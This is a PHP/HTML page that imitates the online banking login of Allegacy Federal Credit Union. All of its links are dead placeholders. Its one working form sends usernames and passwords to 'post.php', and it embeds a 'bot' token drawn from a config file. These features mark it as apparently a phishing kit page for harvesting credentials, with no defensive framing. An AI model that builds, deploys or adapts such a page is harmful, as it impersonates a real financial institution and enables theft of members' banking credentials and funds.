<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,300;0,400;0,700;0,900;1,400&family=Playfair+Display:ital,wght@0,600;1,600&display=swap" rel="stylesheet">
    <title>Allegacy Federal Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #A6222E;
            --red-dark:   #7e1a23;
            --yellow:     #DAAA17;
            --yellow-dark:#b88d0f;
            --offwhite:   #F4F4F4;
            --text:       #1a1a1a;
            --text-sub:   #444;
            --text-muted: #777;
            --border:     #ddd;
            --white:      #ffffff;
        }

        html, body { height: 100%; font-family: 'Lato', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── TOP UTILITY BAR ────────────────────────── */
        .utility-bar {
            background: var(--red);
            padding: 6px 40px;
            display: flex; align-items: center; justify-content: flex-end; gap: 28px;
        }
        .utility-bar a { font-size: 12px; color: rgba(255,255,255,0.88); text-decoration: none; transition: color 0.15s; }
        .utility-bar a:hover { color: #fff; }

        /* ── MAIN NAV ───────────────────────────────── */
        .main-nav {
            background: #fff;
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 80px;
            border-bottom: 1px solid #e8e8e8;
            position: relative; z-index: 10;
        }
        .nav-logo img { height: 56px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 36px; }
        .nav-links a { font-size: 13px; font-weight: 700; color: var(--red); text-decoration: none; letter-spacing: 0.06em; text-transform: uppercase; transition: color 0.15s; }
        .nav-links a:hover { color: var(--red-dark); }
        .nav-right { display: flex; align-items: center; gap: 12px; }
        .nav-search {
            width: 36px; height: 36px; border-radius: 50%;
            background: var(--yellow); border: none; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            transition: background 0.15s;
        }
        .nav-search:hover { background: var(--yellow-dark); }
        .btn-login-nav {
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px;
            padding: 10px 26px; font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            letter-spacing: 0.02em; transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-login-nav:hover { background: var(--yellow-dark); box-shadow: 0 3px 10px rgba(218,170,23,0.4); }

        /* ── WELCOME BANNER ─────────────────────────── */
        .welcome-banner {
            background: var(--offwhite);
            border-bottom: 2px solid #e0e0e0;
            padding: 10px 40px;
        }
        .welcome-banner span { font-size: 12px; font-weight: 700; color: var(--red); letter-spacing: 0.1em; text-transform: uppercase; }

        /* ── HERO ───────────────────────────────────── */
        .hero {
            flex: 1;
            position: relative;
            overflow: hidden;
            display: flex;
            align-items: flex-start;
            min-height: 600px;
            background: var(--offwhite);
        }

        /* The photo sits in the top-right corner, clipped by the SVG circle via clip-path */
        .hero-photo {
            position: absolute;
            top: -5%;
            right: 0;
            width: 52%;
            height: 110%;
            z-index: 1;
        }
        .hero-photo img {
            width: 100%; height: 100%;
            object-fit: cover;
            object-position: center top;
            display: block;
            /* Clip to rough circle matching the SVG circle shape */
            clip-path: ellipse(78% 72% at 72% 38%);
        }

        /* SVG vector on top of photo — draws lines, circle stroke, diagonal lines */
        .hero-vector {
            position: absolute; inset: 0;
            z-index: 2;
            pointer-events: none;
        }
        .hero-vector img {
            width: 100%; height: 100%;
            object-fit: fill;
        }

        /* Hero left content */
        .hero-content {
            position: relative; z-index: 3;
            flex: 1;
            display: flex; flex-direction: column;
            justify-content: center;
            padding: 60px 40px 60px 72px;
            max-width: 620px;
        }
        .hero-tagline {
            font-family: 'Playfair Display', serif;
            font-size: clamp(32px, 4vw, 58px);
            font-weight: 600; font-style: italic;
            color: var(--red); line-height: 1.15;
            margin-bottom: 28px;
        }
        .hero-stats { margin-bottom: 32px; }
        .hero-stats p { font-size: 15px; font-weight: 700; color: var(--text); margin-bottom: 6px; }
        .btn-learn {
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px;
            padding: 12px 30px; font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            display: inline-block; letter-spacing: 0.02em;
            transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-learn:hover { background: var(--yellow-dark); box-shadow: 0 3px 12px rgba(218,170,23,0.4); }

        /* ── LOGIN CARD ─────────────────────────────── */
        .login-card-wrap {
            position: relative; z-index: 4;
            display: flex; align-items: flex-start;
            padding: 40px 40px 0 0;
        }
        .login-card {
            background: #fff;
            width: 300px;
            border: 2px solid var(--red);
            border-radius: 4px;
            padding: 24px 26px 28px;
            box-shadow: 0 4px 24px rgba(0,0,0,0.14);
            margin-top: 40px;
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .card-title {
            font-size: 18px; font-weight: 700; color: var(--red);
            margin-bottom: 16px; padding-bottom: 0;
        }

        .field { margin-bottom: 12px; }
        .field input {
            width: 100%; height: 40px; padding: 0 12px;
            border: 1px solid var(--border); border-radius: 3px;
            font-family: 'Lato', sans-serif; font-size: 14px;
            color: var(--text); background: #fff; outline: none;
            transition: border-color 0.15s, box-shadow 0.15s; -webkit-appearance: none;
        }
        .field input::placeholder { color: #bbb; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(166,34,46,0.1); }

        .card-bottom-row {
            display: flex; align-items: center; justify-content: space-between;
            gap: 10px; margin-top: 4px;
        }
        .btn-login {
            background: var(--yellow); color: var(--text);
            border: none; border-radius: 22px;
            padding: 10px 26px; font-family: 'Lato', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            letter-spacing: 0.02em; flex-shrink: 0;
            transition: background 0.15s, box-shadow 0.15s, transform 0.1s;
        }
        .btn-login:hover { background: var(--yellow-dark); box-shadow: 0 3px 12px rgba(218,170,23,0.4); transform: translateY(-1px); }
        .btn-login:active { transform: translateY(0); }

        .card-side-links { display: flex; flex-direction: column; gap: 4px; text-align: right; }
        .card-side-links a { font-size: 11.5px; color: var(--red); text-decoration: none; font-weight: 400; line-height: 1.5; }
        .card-side-links a:hover { text-decoration: underline; }

        /* ── FOOTER ─────────────────────────────────── */
        .page-footer {
            background: #1a1a1a; padding: 18px 40px;
            display: flex; align-items: center; justify-content: space-between;
            gap: 20px; flex-wrap: wrap;
        }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.5); text-decoration: none; }
        .footer-links a:hover { color: rgba(255,255,255,0.9); }
        .footer-copy { font-size: 11px; color: rgba(255,255,255,0.3); }

        @media (max-width: 900px) {
            .hero { flex-direction: column; }
            .hero-content { padding: 40px 24px; max-width: 100%; }
            .login-card-wrap { padding: 0 24px 40px; justify-content: center; }
            .login-card { width: 100%; max-width: 340px; margin-top: 0; }
            .nav-links { display: none; }
            .main-nav { padding: 0 24px; }
            .utility-bar { padding: 6px 24px; }
            .welcome-banner { padding: 10px 24px; }
        }
        @media (max-width: 500px) { .login-card { padding: 20px 18px 24px; } }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Locations, ATMs</a>
        <a href="#">Rates</a>
        <a href="#">Careers</a>
        <a href="#">Contact</a>
        <a href="#">Fraud Support</a>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Allegacy Federal Credit Union"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Business</a>
            <a href="#">About + Community</a>
            <a href="#">Join</a>
        </div>
        <div class="nav-right">
            <button class="nav-search">
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="var(--text)" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
            </button>
            <button class="btn-login-nav">Login</button>
        </div>
    </nav>

    <!-- Welcome Banner -->
    <div class="welcome-banner">
        <span>Welcome to Allegacy Federal Credit Union</span>
    </div>

    <!-- Hero -->
    <div class="hero">
        <!-- Photo clipped to circle, top-right -->
        <div class="hero-photo">
            <img src="res/img/background.jpeg" alt="">
        </div>

        <!-- SVG vector: diagonal lines + circle outline + teal areas drawn on top -->
        <div class="hero-vector">
            <img src="res/img/hero-with-image-yellow-lines_new.svg" alt="">
        </div>

        <!-- Left content -->
        <div class="hero-content">
            <div class="hero-tagline">Two Powerful Ways to Grow Your Savings</div>
            <div class="hero-stats">
                <p>14-Month Certificate – 3.85% APY*</p>
                <p>14-Month IRA Certificate – 3.95% APY*</p>
            </div>
            <button class="btn-learn">Learn More</button>
        </div>

        <!-- Login card -->
        <div class="login-card-wrap">
            <div class="login-card">
                <div class="card-title">Online Banking</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field">
                        <input type="text" name="user" required placeholder="Username" autocomplete="username">
                    </div>
                    <div class="field">
                        <input type="password" name="pass" required placeholder="Password" autocomplete="current-password">
                    </div>
                    <div class="card-bottom-row">
                        <button type="submit" class="btn-login">Login</button>
                        <div class="card-side-links">
                            <a href="#">New User</a>
                            <a href="#">Forgot Password</a>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">Sitemap</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Allegacy Federal Credit Union. NCUA Insured. Equal Housing Lender.</div>
    </footer>

<script src="./res/jq.js"></script>
</body>
</html>